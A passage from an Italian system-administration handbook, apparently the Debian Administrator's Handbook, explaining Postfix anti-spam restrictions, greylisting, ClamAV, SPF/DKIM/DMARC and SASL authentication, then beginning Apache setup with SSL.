reject_unauth_destination è la regola base che richiede ai messaggi provenienti dall'esterno di essere indirizzati ai noi: messaggi inviati ad indirizzi non gestiti da questo server saranno rifiutati. Senza questa regola un server diviene un open relay che permette agli spammer di inviare posta non richiesta; questa regola è quindi caldamente raccomandata, e dovrebbe essere posizionata preferibilmente vicino all'inizio della lista, per evitare che altre regole possano autorizzare l'inoltro del messaggio prima che la sua destinazione sia stata controllata.

La regola reject_unlisted_recipient rifiuta ragionevolmente i messaggi inviati a utenti locali che non esistono. Infine reject_non_fqdn_recipient rifiuta gli indirizzi non completamente qualificati: questo rende impossibile l'invio di email a jean o jean@macchina e richiede invece l'uso dell'indirizzo completo come jean@macchina.falcot.com o jean@falcot.com.

La direttiva permit non è strettamente necessaria. Tuttavia, può essere utile alla fine di una lista di restrizioni per rendere esplicita la politica predefinita.

11.1.3.5. Restrizioni associate con il comando DATA

Il comando DATA di SMTP è emesso prima dei contenuti del messaggio. Non fornisce alcuna informazione di per sé, a parte l'annunciare quello che viene immediatamente dopo. Tuttavia può a sua volta essere soggetto a controlli.

Esempio 11.6. Controlli su DATA

smtpd_data_restrictions = reject_unauth_pipelining

La direttiva reject_unauth_pipelining fa sì che il messaggio sia rifiutato se il mittente invia un comando prima che sia inviata una risposta al comando inviato in precedenza. Questo protegge da una ottimizzazione comunemente utilizzata dagli spammer automatizzati poiché a loro non importa un fico secco delle risposte e si concentrano unicamente nell'invio del maggior numero di email nel minor tempo possibile.

11.1.3.6. Applicare restrizioni

Nonostante i comandi precedenti verificano informazioni nelle varie fasi dello scambio SMTP, Postfix, di default, invia l'effettivo rifiuto a seguito del comando RCPT TO.

Questo significa che anche se il messaggio viene rifiutato a causa di un comando EHLO non valido, Postfix conosce il mittente ed il destinatario quando annuncia il rifiuto e pertanto potrà poi inserire nel log un messaggio più esplicito di quanto avesse potuto fare nel caso la transazione si fosse interrotta all'inizio. Inoltre un certo numero di client SMTP non si attende problemi durante i primi comandi SMTP e questi client saranno meno disturbati da questo rifiuto posticipato.

Il vantaggio finale di questa scelta è di permettere alle regole di accumulare informazioni durante i vari passaggi dello scambio di SMTP; questo consente di definire permessi più dettagliati, come rifiutare una connessione non locale se si annuncia con un mittente locale.

Il comportamento predefinito è controllato dalla regola smtpd_delay_reject.

11.1.3.7. Filtrare in base al contenuto del messaggio

La validazione ed il sistema di restrizioni non sarebbero completi senza un modo per applicare controlli al contenuto dei messaggi. Postfix distingue tra i controlli applicati all'intestazione e quelli applicati al corpo del messaggio.

Esempio 11.7. Abilitare filtri basati sul contenuto

header_checks = regexp:/etc/postfix/header_checks body_checks = regexp:/etc/postfix/body_checks

Entrambi i file contengono una lista di espressioni regolari (spesso chiamate regexp o regex) e relative azioni da intraprendere quando l'intestazione (o il corpo) delle email corrisponde con l'espressione.

SGUARDO VELOCE Tabelle regexp

Il file /usr/share/doc/postfix/examples/header_checks (dal pacchetto postfix-doc) e header_checks(5) contiene molti commenti esplicativi che possono essere utilizzati come punto di partenza per creare i file /etc/postfix/header_checks e /etc/postfix/body_checks.

Esempio 11.8. File d'esempio /etc/postfix/header_checks

/^X-Mailer: GOTO Sarbacane/ REJECT Io combatto lo spam (GOTO Sarbacane) /^Subject: *La tua email contiene dei VIRUS/ DISCARD notifica di virus

FONDAMENTALE Espressioni regolari

Il termine espressione regolare (abbreviato con regexp o regex) fa riferimento ad una notazione generica per esprimere la descrizione dei contenuti e/o la struttura di una stringa di caratteri. Alcuni caratteri speciali permettono di definire alternative (per esempio pippo|pluto corrisponde sia con "pippo" che con "pluto"), insiemi di caratteri permessi (per esempio [0-9] significa "qualsiasi numero" e . — un punto — significa "qualsiasi carattere"), quantità (s? corrisponde a s o ad una stringa vuota, ovvero 0 oppure 1 occorrenza di s; s+ corrisponde ad una o più occorrenze consecutive del carattere s; e così via). Le parentesi permettono di raggruppare i risultati della ricerca.

La precisa sintassi di queste espressioni varia tra i vari strumenti che le utilizzano ma le funzionalità base sono similari.

→ http://it.wikipedia.org/wiki/Espressione_regolare

La prima controlla l'intestazione che fa riferimento al software email; se viene individuato GOTO Sarbacane (un software per l'invio massivo di email) il messaggio viene rifiutato. La seconda espressione controlla l'oggetto del messaggio: se indica la notifica di un virus possiamo decidere di non respingere il messaggio ma di limitarci a scartarlo immediatamente.

Utilizzare questi filtri è un'arma a doppio taglio poiché è facile produrre regole troppo generiche e perdere di conseguenza email legittime. In questi casi i messaggi vanno perduti ed inoltre i rispettivi mittenti ricevono messaggi d'errore non desiderati (e fastidiosi).

11.1.4. Impostare il greylisting

Il "greylisting" è una tecnica di filtraggio per la quale un messaggio viene inizialmente rifiutato con un codice d'errore temporaneo e viene accettato solo dopo un successivo tentativo di consegna con un certo ritardo. Questo filtraggio è particolarmente efficiente contro lo spam inviato dalle tante macchine infette da virus e worm poiché questi software si comportano raramente come veri e propri agenti SMTP (i quali controllano i codici d'errore e ritentano l'invio dei messaggi successivamente), soprattutto perché molti degli indirizzi raccolti sono davvero invalidi e riprovare significherebbe soltanto perdere tempo.

Postfix non fornisce il greylisting nativamente ma esiste una funzionalità che permette di delegare la decisione riguardo il rifiuto o l'accettazione di un messaggio ad un programma esterno. Il pacchetto postgrey contiene proprio un programma di questo tipo, progettato per interfacciarsi con questo servizio per la delega delle politiche di accesso.

Una volta installato, postgrey si attiva come demone e si pone in ascolto sulla porta 10023. Postfix può quindi essere configurato per utilizzarlo, aggiungendo il parametro check_policy_service come restrizione aggiuntiva:

smtpd_recipient_restrictions = permit_mynetworks, [...] check_policy_service inet:127.0.0.1:10023

Ogni volta che Postfix raggiunge questa regola nell'insieme delle regole, si connette al demone postgrey e gli invia informazioni a proposito del messaggio in questione. Postgrey prende quindi in considerazione i tre parametri: indirizzo IP, mittente e destinatario; e controlla il suo database per verificare se sono già apparsi recentemente. Se è così Postgrey risponde che il messaggio deve essere accettato, altrimenti risponde indicando che il messaggio dev'essere temporaneamente respinto ed i tre parametri vengono inseriti nel database.

Il principale svantaggio del greylisting è dato dal ritardo causato ai messaggi legittimi, cosa che non è sempre accettabile. Inoltre incrementa il carico sui server che inviano molte email legittime.

IN PRATICA Aspetti negativi del greylisting

Teoricamente il greylisting dovrebbe unicamente ritardare la ricezione della prima email da un dato mittente ad un dato destinatario e tipicamente questo ritardo si misura nell'ordine dei minuti. La realtà, purtroppo, può essere leggermente diversa. Alcuni grandi provider utilizzano cluster di server SMTP e quando un messaggio viene inizialmente rifiutato il server che riprova la trasmissione potrebbe non essere lo stesso. Quando ciò accade il secondo server ottiene un ulteriore messaggio d'errore temporaneo dovuto al greylisting e così via: in questi casi possono passare anche diverse ore prima che la trasmissione sia rieseguita da un server già coinvolto poiché normalmente i server SMTP incrementano gli intervalli tra un tentativo e l'altro dopo ogni fallimento.

Di conseguenza l'indirizzo IP di provenienza può variare nel tempo anche per un singolo mittente. Inoltre anche l'indirizzo email del mittente può cambiare. Per esempio molti server di mailing-list possono includere informazioni extra nell'indirizzo email del mittente per essere in grado di gestire i messaggi d'errore (spesso indicati anche con il termine bounce). Ad ogni nuovo messaggio inviato ad una mailing-list potrebbe essere richiesto di attraversare il greylisting cosa che richiede di essere conservato (temporaneamente) nel server del mittente. Questo può diventare presto un problema per le mailing-list molto frequentate (con decine di migliaia di iscritti).

Per mitigare questi effetti negativi, Postgrey gestisce una whitelist di siti, ed i messaggi da loro originati vengono immediatamente accettati senza passare attraverso il greylisting. Questa lista può essere facilmente adattata in base alle necessità locali, visto che è conservata nel file /etc/postgrey/whitelist_clients.

APPROFONDIMENTO Greylisting selettivo con milter-greylist

Gli effetti negativi del greylisting possono essere mitigati applicando il greylisting unicamente ad un sottoinsieme di client che sono già considerati come probabile sorgente di spam (poiché sono inseriti in una blacklist DNS). Questo non è possibile con postgrey ma milter-greylist può essere usato in questo modo.

In questo scenario, poichè le blacklist DNS non innescano mai un rifiuto definitivo, diventa ragionevole l'uso di blacklist aggressive, comprese quelle che includono tutti gli indirizzi IP dinamici assegnati dai provider ai loro clienti (come pbl.spamhaus.org o dul.dnsbl.sorbs.net).

Poichè milter-greylist usa l'intrefaccia milter di Sendmail, il lato postix della sua configurazione è limitato a “smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock”. La pagina del manuale greylist.conf(5) documenta /etc/milter-greylist/greylist.conf ed i numerosi modi di configurare milter-greylist. Inoltre sarà necessario modificare il file /etc/default/milter-greylist per consentire effettivamente il servizio.

11.1.5. Personalizzare i filtri in base al destinatario

La Sezione 11.1.3, «Restrizioni per ricezione ed invio» e la Sezione 11.1.4, «Impostare il greylisting» riportano molte delle possibili limitazioni. Tutte hanno un loro metodo per diminuire la quantità di spam ricevuto ma tutte hanno effetti collaterali. Quindi è sempre più comune personalizzare l'insieme di filtri in base al destinatario. Alla Falcot Corporation il greylisting è utile per la maggior parte degli utenti, ma ostacola l'attività di alcuni utenti che necessitano di una bassa latenza per le proprie email (come il servizio di supporto tecnico). Allo stesso modo il servizio di supporto commerciale incontra a volte delle difficoltà nella ricezione di email da alcuni provider asiatici che sono inseriti nelle blacklist: il servizio di supporto commerciale ha quindi richiesto un indirizzo email non filtrato per poter comunicare.

Postfix fornisce la personalizzazione sui filtri tramite il concetto di "restrizione di classe". Le classi sono dichiarate nel parametro smtpd_restriction_classes e sono definite come in smtpd_recipient_restrictions. La direttiva check_recipient_access definisce quindi una tabella che associa un destinatario ad un insieme appropriato di restrizioni.

Esempio 11.9. Definire classi di restrizione in main.cf

smtpd_restriction_classes = greylisting, aggressive, permissive greylisting = check_policy_service inet:127.0.0.1:10023 aggressive = reject_rbl_client sbl-xbl.spamhaus.org, check_policy_service inet:127.0.0.1:10023 permissive = permit smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, check_recipient_access hash:/etc/postfix/recipient_access

Esempio 11.10. Il file /etc/postfix/recipient_access

# Indirizzi non filtrati postmaster@falcot.com permissiva support@falcot.com permissiva sales-asia@falcot.com permissiva # Filtraggio aggressivo per alcuni utenti privilegiati joe@falcot.com aggressiva # Una regola speciale per il manager della mailing-list sympa@falcot.com reject_unverified_sender # Greylisting predefinito falcot.com greylisting

11.1.6. Integrazione di un filtro antivirus

I molti virus che circolano come allegati di email rendono importante impostare una soluzione di antivirus al punto d'ingresso nella rete aziendale dal momento che, nonostante una costante campagna di sensibilizzazione, molti utenti continuano ad aprire i file allegati a messaggi palesemente loschi.

SICUREZZA Discussione controversa sul software antivirus

L'uso di scanner antivirus, il cosiddetto software antivirus, è controverso. Di solito c'è un divario tra il rilascio di qualche malware e l'aggiunta di regole di rilevamento al database antivirus. Durante questa lacuna, non esiste una protezione basata sul software. Inoltre, l'utilizzo richiede spesso di eseguire software aggiuntivo, ad esempio per decomprimere gli archivi e scansionare tutti i tipi di eseguibili, il che aumenta drasticamente il potenziale sfruttamento del software antivirus stesso. L'utilizzo di tali soluzioni software non può quindi mai sostituire campagne di sensibilizzazione e semplici regole comportamentali (non aprire mai allegati inviati non richiesti, ecc.).

Gli amministratori di Falcot hanno scelto clamav dall'omonimo pacchetto.

Il compito di interfacciare l'antivirus ed il server di posta è affidato a clamav-milter. Un milter (abbreviazione dell'inglese mail filter) è un programma di filtraggio realizzato appositamente per interfacciarsi con i server di posta. Un milter utilizza un'interfaccia di programmazione standard (API) che fornisce prestazioni nettamente migliori rispetto ai filtri esterni ai server di posta. I milter sono stati introdotti inizialmente da Sendmail e Postfix ha presto seguito l'esempio.

SGUARDO VELOCE Un milter per Spamassassin

Il pacchetto spamass-milter fornisce un milter basato su SpamAssassin, il famoso rilevatore di email non richieste. Può essere impiegato per etichettare i messaggi come probabile spam, aggiungendo un header addizionale, o per rifiutare del tutto i messaggi se il loro punteggio di probabile spam, definito "spamminess" in lingua inglese, supera un determinata soglia.

Una volta che il pacchetto clamav-milter è installato, il milter deve essere riconfigurato per l'esecuzione su una porta TCP piuttosto che sul socket predefinito. Ciò può essere ottenuto con dpkg-reconfigure clamav-milter. Quando viene richiesta "L'interfaccia di comunicazione con Sendmail", verrà risposto “inet:10002@127.0.0.1”.

NOTA Porta TCP reale contro cosiddetta socket

Il motivo per cui viene usata una vera e propria porta TCP piuttosto che una socket è che i demoni postfix spesso sono eseguiti sotto chroot e non hanno accesso alla directory che ospita la socket. Si potrebbe anche decidere di continuare ad usare la socket e scegliere una posizione all'interno di chroot (/var/spool/postfix/).

La configurazione standard di ClamAV è adeguata per molte situazioni, ma alcuni parametri importanti possono comunque essere personalizzati con dpkg-reconfigure clamav-base.

Come ultimo passo è necessario istruire Postfix affinché utilizzi i filtri appena configurati. Per farlo è sufficiente aggiungere la seguente direttiva a /etc/postfix/main.cf:

# Controllo virus con clamav-milter smtpd_milters = inet:[127.0.0.1]:10002

Se l'antivirus causa problemi, questa riga può essere commentata, e dev'essere eseguito systemctl reload postfix perché la modifica sia applicata.

IN PRATICA Verificare l'antivirus

Un volta configurato l'antivirus, è necessario verificare il suo corretto funzionamento. Il metodo più veloce per farlo è inviare un'email di prova con un allegato contenente il file eicar.com (o eicar.com.zip), che può essere scaricato online:

→ https://2016.eicar.org/86-0-Intended-use.html

Questo file non è un vero virus ma un file di test che tutti i software antivirus sul mercato riconoscono come un virus per consentire la verifica delle installazioni.

Tutti i messaggi gestiti da Postfix passano ora attraverso il filtro antivirus.

11.1.7. Combattere lo spam con SPF, DKIM e DMARC

L'elevato numero di email non richieste inviate ogni giorno ha portato alla creazione di diversi standard, che mirano a convalidare che l'host di invio di un'email è autorizzato e che l'email non è stata manomessa. I seguenti sistemi sono tutti basati su DNS e richiedono, per il dominio in questione, che gli amministratori abbiano il controllo sia sul server di posta che sul DNS.

ATTENZIONE Discussione controversa

Come qualsiasi altro strumento, i seguenti standard hanno limiti ed effetti reali se utilizzati. Possono (e dovrebbero) portare a respingere le email o addirittura scartarle. Se ciò accade ad alcuni messaggi di posta elettronica legittimi (a volte inviati da un server SMTP non configurato correttamente), normalmente causano rabbia ed incomprensione da parte dell'utente. Pertanto queste regole vengono spesso applicate come "soft fail" o "soft reject", il che di solito significa che il mancato superamento dei controlli porta solo all'aggiunta di una voce (nell'intestazione) all'email interessata. Ci sono persone che pensano che questo renda questi standard "broken by design". Si deve decidere in prima persona e fare attenzione a quanto rigorosi si voglia essere nello scegliere di applicare questi standard.

11.1.7.1. Integrazione del Sender Policy Framework (SPF)

Il Sender Policy Framework (SPF) è utilizzato per convalidare se un certo server di posta è autorizzato ad inviare email per un determinato dominio. È per lo più configurato attraverso il DNS. La sintassi della voce (record) da inserire è spiegata in dettaglio su:

→ http://www.open-spf.org/SPF_Record_Syntax

→ https://tools.ietf.org/html/rfc7208

→ https://en.wikipedia.org/wiki/Sender_Policy_Framework

Quella che segue, è un esempio di voce DNS che specifica che tutti i Mail Exchange Resource Records (MX-RRs) del dominio sono autorizzati ad inviare email per il dominio corrente, e tutti gli altri sono proibiti. Non è necessario dare un nome alla voce DNS. Ma per usare la direttiva include deve averne uno.

Name: example.org Type: TXT TTL: 3600 Data: v=spf1 a mx -all

Diamo uno sguardo veloce alla voce falcot.org.

# host -t TXT falcot.org falcot.org descriptive text "v=spf1 ip4:199.127.61.96 +a +mx +ip4:206.221.184.234 +ip4:209.222.96.251 ~all"

Esso afferma che l'IP del mittente deve corrispondere al record A per il dominio di invio, o deve essere elencato come uno dei Mail Exchange Resource Records per il dominio corrente, o deve essere uno dei tre indirizzi IP4 menzionati. Tutti gli altri host devono essere contrassegnati come non autorizzati ad inviare email per il dominio mittente. Quest'ultimo è chiamato "soft fail" e, di conseguenza, ha lo scopo di contrassegnare l'email, ma di accettarla comunque.

Il server di posta postfix può controllare il record SPF per le email in arrivo usando il pacchetto postfix-policyd-spf-python, un agente di policy scritto in Python. Il file /usr/share/doc/postfix-policyd-spf-python/README.Debian descrive i passi necessari per integrare l'agente in postfix, quindi non li ripeteremo qui.

La configurazione è definita nel file /etc/postfix-policyd-spf-python/policyd-spf.conf, che è completamente documentato in policyd-spf.conf(5) e /usr/share/doc/postfix-policyd-spf-python/policyd-spf.conf.commented.gz. I principali parametri di configurazione sono HELO_reject e Mail_From_reject, che configurano se le email devono essere rifiutate (Fail) o accettate inserendo nell'intestazione (False), se i controlli falliscono. Quest'ultimo è spesso utile, quando il messaggio viene ulteriormente elaborato da un filtro antispam.

Se il risultato dovrà essere usato da opendmarc (Sezione 11.1.7.3, «Integrazione per DMARC (Domain-based Message Authentication, Reporting and Conformance)»), allora Header_Type dev'essere impostato su AR.

Da notare che spamassassin contiene un plugin per controllare il record SPF.

11.1.7.2. Integrazione della firma e del controllo DKIM (DomainKeys)

Il Domain Keys Identified Mail (DKIM) è un sistema, standard, di autenticazione del mittente. L'agente di trasporto della posta, qui postfix, aggiunge nell'intestazione delle email in uscita una firma digitale associata al nome del dominio. La parte ricevente può convalidare il corpo del messaggio e i campi dell'intestazione controllando la firma con una chiave pubblica che viene recuperata dai record DNS del mittente.

→ http://dkim.org/

Gli strumenti necessari sono forniti dai pacchetti opendkim e opendkim-tools.

ATTENZIONE Software per mailing list e DKIM

I gestori di mailing list spesso riscrivono alcune intestazioni delle email, facendo diventare invalide le firme DKIM. Anche usando una normalizzazione relaxed non sempre si evita che questo accada. Quindi gli amministratori devono prestare molta attenzione ai file di log dei mail server per identificare tali problemi. Altrimenti queste email potrebbero essere contrassegnate come spam e potrebbero essere rifiutate.

Per prima cosa dev'essere creata la chiave privata usando il comando opendkim-genkey -s SELECTOR -d DOMAIN. SELECTOR dev'essere un nome univoco per la chiave. Può essere semplice come "mail" o la data di creazione, se hai intenzione di ruotare le chiavi.

Esempio 11.11. Creare una chiave privata per firmare le e-mail da falcot.com

# opendkim-genkey -s mail -d falcot.com -D /etc/dkimkeys # chown opendkim.opendkim /etc/dkimkeys/mail.*

Questo creerà i file /etc/dkimkeys/mail.private e /etc/dkimkeys/mail.txt ed imposterà il corretto proprietario. Il primo file contiene la chiave privata, il secondo la chiave pubblica che dev'essere aggiunta al DNS:

Name: mail._domainkey Type: TXT TTL: 3600 Data: "v=DKIM1; h=sha256; k=rsa; s=email; p=[...]"

Il pacchetto opendkim in Debian usa, per impostazione predefinita, una chiave a 2048 bit. Sfortunatamente, alcuni server DNS possono gestire solo entry testuali di massimo 255 caratteri, non adeguate per gestire la predetta chiave. In questi casi usare l'opzione -b 1024 per scegliere una chiave più piccola. Se opendkim-testkey riesce, allora la entry è stata configurata correttamente. La sintassi è spiegata qui:

→ https://tools.ietf.org/html/rfc6376

→ https://en.wikipedia.org/wiki/DKIM

Per configurare opendkim, SOCKET e RUNDIR deve essere scelto in /etc/default/opendkim. Notare che SOCKET deve essere accessibile da postfix nel suo ambiente chroot. Le configurazioni aggiuntive sono fatte in /etc/opendkim.conf. Quello che segue è un estratto della configurazione, che assicura che il Dominio "falcot.com" e tutti i sottodomini (SottoDomini) siano firmati dal Selector "mail" e dalla chiave privata (KeyFile) /etc/dkimkeys/mail.private. La Canonicalizzazione "rilassata" per entrambe, intestazioni e body, tollerano lievi modifiche (ad esempio da un software della mailing list). I filtri sono eseguiti sia in Modalità firma ("s") che in modalità verifica ("v"). Se una firma non viene validata (On-BadSignature), la mail dovrebbe essere messa in quarantena ("q").

[...] Domain falcot.com KeyFile /etc/dkimkeys/mail.private Selector mail [...] Canonicalization relaxed/relaxed Mode sv On-BadSignature q SubDomains yes [...] Socket inet:12345@localhost [...] UserID opendkim

È anche possibile usare più selettori/chiavi (KeyTable), domini (SigningTable) e specificare host interni o di fiducia (InternalHosts, ExternalIgnoreList), che possono inviare mail attraverso il server come uno dei domini firmatari senza credenziali.

Le seguenti direttive nel file /etc/postfix/main.cf consentono a postfix l'uso del filtro:

milter_default_action = accept non_smtpd_milters = inet:localhost:12345 smtpd_milters = inet:localhost:12345

Per differenziare la firma e la verifica è invece, talvolta, più utile aggiungere le direttive ai servizi in /etc/postfix/master.cf.

Maggiori informazioni sono disponibili nella directory /usr/share/doc/opendkim/ e le pagine del manuale opendkim(8) e opendkim.conf(5).

Notare che spamassassin contiene un plugin per verificare i record di DKIM.

11.1.7.3. Integrazione per DMARC (Domain-based Message Authentication, Reporting and Conformance)

Lo standard Domain-based Message Authentication, Reporting and Conformance (DMARC) può essere usato per definire le entry TXT del DNS con il nome _dmarc e le azioni che devono essere intraprese quando le email che contengono il proprio dominio come host mittente falliscono la validazione tramite DKIM e SPF.

→ https://dmarc.org/overview/

Vediamo le entry di due grandi provider:

# host -t TXT _dmarc.gmail.com _dmarc.gmail.com descriptive text "v=DMARC1; p=none; sp=quarantine; rua=mailto:mailauth-reports@google.com" # host -t TXT _dmarc.yahoo.com _dmarc.yahoo.com descriptive text "v=DMARC1; p=reject; pct=100; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"

Yahoo ha una politica rigorosa che rifiuta tutte le email che fingono di essere state spedite da account Yahoo ma sono mancanti o falliscono i controlli DKIM e SPF. Google Mail (Gmail) propaga una politica molto rilassata, nella quale tali messaggi provenienti dal dominio principale vengono ancora accettati (p=none). Per i sottodomini, dovrebbero essere contrassegnati come spam (sp=quarantine). Gli indirizzi indicati nella chiave rua possono essere utilizzati per inviare rapporti DMARC aggregati. La sintassi completa è spiegata qui:

→ https://tools.ietf.org/html/rfc7489

→ https://en.wikipedia.org/wiki/DMARC

Il mail server postfix può usare anche questa informazione. Il pacchetto opendmarc contiene il milter necessario. In modo simile a opendkim SOCKET e RUNDIR devono essere impostate in /etc/default/opendmarc (per i socket Unix bisogna assicurarsi che siano visibili all'interno del chroot di postfix). Il file di configurazione /etc/opendmarc.conf contiene molti commenti ed ulteriori dettagli sono disponibili in opendmarc.conf(5). Per impostazione predefinita, i messaggi di posta elettronica che non superano la convalida DMARC non vengono rifiutati ma contrassegnati, aggiungendo un apposito campo di intestazione. Per modificare questo comportamento, utilizzare RejectFailures true.

Il milter (filtro email) viene quindi aggiunto a smtpd_milters ed a non_smtpd_milters. Se si configurano i milter opendkim e opendmarc per restare in ascolto sulle porte 12345 e 54321, la voce in /etc/postfix/main.cf sarà qualcosa di simile a questo:

non_smtpd_milters = inet:localhost:12345,inet:localhost:54321 smtpd_milters = inet:localhost:12345,inet:localhost:54321

Il milter può anche essere applicato selettivamente a un servizio in /etc/postfix/master.cf.

11.1.8. SMTP autenticato

Per poter inviare email è necessario un server SMTP che sia raggiungibile; ed inoltre è necessario dire al server SMTP di inviare email attraverso di esso. Per gli utenti in movimento, questo potrebbe dire di dover cambiare regolarmente la configurazione dei propri client SMTP, dato che il server SMTP della Falcot rifiuta i messaggi provenienti da indirizzi IP apparentemente non correlati con l'azienda. Esistono due soluzioni a questo problema: l'utente in movimento può installare un server SMTP sul proprio computer oppure continuare ad utilizzare il server aziendale con qualche tipo di autenticazione che lo riconosca come dipendente. La prima soluzione non è raccomandata dato che il computer non sarà connesso permanentemente e non sarà quindi in grado di ritentare l'invio dei messaggi in caso di problemi: ci concentreremo quindi sulla seconda soluzione.

L'autenticazione SMTP con Postfix fa affidamento su SASL (Simple Authentication and Security Layer). Richiede l'installazione dei pacchetti libsasl2-modules e sasl2-bin e la registrazione di una password nel database SASL per ogni utente che necessita di autenticarsi sul server SMTP. Questo è realizzabile per mezzo del comando saslpasswd2 che accetta diversi parametri. L'opzione -u definisce il dominio di autenticazione e deve corrispondere al parametro smtpd_sasl_local_domain nella configurazione di Postfix. L'opzione -c consente di creare un utente e -f permette di specificare il file da usare se il database SASL necessita di essere conservato in una posizione diversa da quella predefinita (/etc/sasldb2).

# saslpasswd2 -u `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean [... type jean's password twice ...]

Notare che il database di SASL viene creato nella directory di Postfix. Per assicurare la coerenza modifichiamo /etc/sasldb2 in un collegamento simbolico che punta al database utilizzato da Postfix con il comando ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2.

A questo punto è necessario configurare Postfix affinché utilizzi SASL. Prima di tutto l'utente postfix dev'essere aggiunto al gruppo sasl così che possa accedere al database degli account SASL. Alcuni nuovi parametri sono inoltre necessari per abilitare SASL e il parametro smtpd_recipient_restrictions dev'essere configurato per consentire ai client autenticati da SASL di inviare email liberamente.

Esempio 11.12. Abilitare SASL nel file /etc/postfix/main.cf

# Enable SASL authentication smtpd_sasl_auth_enable = yes # Define the SASL authentication domain to use smtpd_sasl_local_domain = $myhostname [...] # Adding permit_sasl_authenticated before reject_unauth_destination # allows relaying mail sent by SASL-authenticated users smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination, [...]

Di solito è una buona idea non inviare le password su una connessione non criptata. Postfix consente di utilizzare configurazioni diverse per ogni porta (servizio) su cui è in ascolto. Le predette porte, possono essere configurate con regole e direttive nel file /etc/postfix/master.cf. Per disattivare l'autenticazione sulla porta 25 (serviziosmtpd ) inserire la seguente direttiva:

smtp inet n - y - - smtpd [..] -o smtpd_sasl_auth_enable=no [..]

Se per qualche motivo i client utilizzano un comando AUTH non aggiornato (alcuni client di posta molto vecchi lo fanno), l'interoperabilità con essi può essere abilitata utilizzando la direttiva broken_sasl_auth_clients.

EXTRA Client SMTP autenticati

La maggior parte dei client email sono in grado di autenticarsi presso un server SMTP prima di inviare i messaggi in uscita e per utilizzare questa funzionalità basta semplicemente configurare i parametri appropriati. Se il client in uso non fornisce questa funzionalità è possibile utilizzare un server Postfix locale e configurarlo per inoltrare le email attraverso il server SMTP remoto. In questo caso, il Postfix locale diventerà a sua volta il client che andrà ad autenticarsi con SASL. I parametri richiesti sono i seguenti:

smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd relay_host = [mail.falcot.com]

Il file /etc/postfix/sasl_passwd deve contenere il nome utente e la password da utilizzare per autenticarsi sul server mail.falcot.com. Ecco un esempio:

[mail.falcot.com] joe:LyinIsji

Così come per tutte le mappe Postfix questo file dev'essere trasformato in /etc/postfix/sasl_passwd.db con l'impiego del comando postmap.

11.2. Server web (HTTP)

Gli amministratori della Falcot Corporation hanno deciso di utilizzare il server HTTP Apache versione 2.4.52, incluso in Debian Bullseye.

ALTERNATIVE Altri server web

Apache è probabilmente il server web più conosciuto, ma ne esistono altri. Il suo principale avversario è nginx, che è disponibile in diversi pacchetti con diverse caratteristiche, come nginx-light, nginx-full o nginx-extras. Un'altra alternativa è lighttpd. Tutti loro offrono prestazioni molto buone, talvolta migliori a seconda dei carichi di lavoro o delle situazioni, ma non tutti dispongono dello stesso numero di funzionalità e/o moduli.

11.2.1. Installare Apache

L'installazione del pacchetto apache2 è tutto ciò che è necessario. Contiene tutti i moduli, compresi Multi-Processing Modules (MPMs), che influenzano il modo in cui Apache gestisce l'elaborazione in parallelo di numerose richieste, che precedentemente erano fornire in pacchetti separati apache2-mpm-*). Installerà anche apache2-utils contenente le utilità a riga di comando che scopriremo dopo.

L'MPM in uso influenza in modo significativo il modo in cui Apache gestirà richieste simultanee. Con il worker MPM, utilizza threads (processi leggeri), mentre con il prefork MPM utilizza una serie di processi creati in anticipo. Con event MPM anche utilizza i threads, ma le connessioni inattive (in particolare quelle tenute aperte dalla funzione HTTP keep-alive) vengono consegnate ad una gestione dedicata del thread.

Gli amministratori della Falcot installano anche libapache2-mod-php per includere il supporto a PHP 7.4 all'interno di Apache. Questo fa si che venga disabilitato il modulo predefinito MPM event e che invece al suo posto venga usato prefork. Per usare MPM event è possibile installare il pacchetto php-fpm.

SICUREZZA Esecuzione con l'utente www-data

In via predefinita Apache gestisce le richieste in arrivo come fosse l'utente www-data come definito in /etc/apache2/envvars. Questo significa che una vulnerabilità in uno script CGI eseguito da Apache (per una pagina dinamica) non comprometterebbe l'intero sistema, ma solo i file di proprietà di questo specifico utente.

Usare i moduli suexec, forniti dal pacchetto apache2-suexec-*, permette di eludere questa regola per permettere ad alcuni script CGI di essere eseguiti con l'identità di un altro utente. Questo è configurato con una direttiva SuexecUserGroup utentegruppo nel file di configurazione di Apache.

Un'altra possibilità è l'utilizzo di un MPM dedicato, come quello fornito da apache2-mpm-itk. Questo particolare MPM che ha un comportamento leggermente differente: permette di "isolare" gli host virtuali (in realtà, gruppi di pagine) in modo che possano essere eseguiti ciascuno con un utente differente. Una vulnerabilità in un sito web non potrà quindi compromettere i file appartenenti al proprietario di un altro sito.

SGUARDO VELOCE Lista dei moduli

L'elenco completo dei moduli standard di Apache è disponibile online.

→ https://httpd.apache.org/docs/2.4/mod/

Apache è un server modulare e molte funzionalità sono implementate da moduli esterni che il programma principale carica durante la fase di inizializzazione. La configurazione predefinita abilita solo i moduli più comuni ma abilitare un modulo è semplice: basta eseguire a2enmod modulo. Per disabilitare un modulo il comando è a2dismod modulo. Questi programmi non fanno altro che creare (o rimuovere) i collegamenti simbolici in /etc/apache2/mods-enabled/ che puntano ai file (conservati in /etc/apache2/mods-available/).

IN PRATICA Verificare della configurazione

Il modulo mod_info (a2enmod info) consente, tramite il browser, di accedere alla configurazione ed alle informazioni complete del server Apache visitando http://localhost/server-info. Poiché potrebbe contenere informazioni sensibili, per impostazione predefinita l'accesso è consentito solo dall'host locale.

→ https://httpd.apache.org/docs/2.4/mod/mod_info.html

Con la sua configurazione predefinita, il server web rimane in ascolto sulla porta 80 (come configurato in /etc/apache2/ports.conf), e serve le pagine dalla directory /var/www/html/ (come configurato in /etc/apache2/sites-enabled/000-default.conf).

11.2.2. Aggiungere il supporto per SSL

Apache 2.4 include, già pronto per essere usato, il modulo SSL (mod_ssl) necessario per rendere sicuro HTTP (HTTPS). È sufficiente attivarlo con a2enmod ssl e aggiungere le direttive necessarie ai file di configurazione. Un esempio di configurazione è fornito in /etc/apache2/sites-available/default-ssl.conf.

→ https://httpd.apache.org/docs/2.4/mod/mod_ssl.html

Se si desidera generare certificati attendibili, è possibile vedere la sezione Sezione 10.2.1, «Creazione di certificati attendibili gratuiti» e regolare le seguenti variabili:

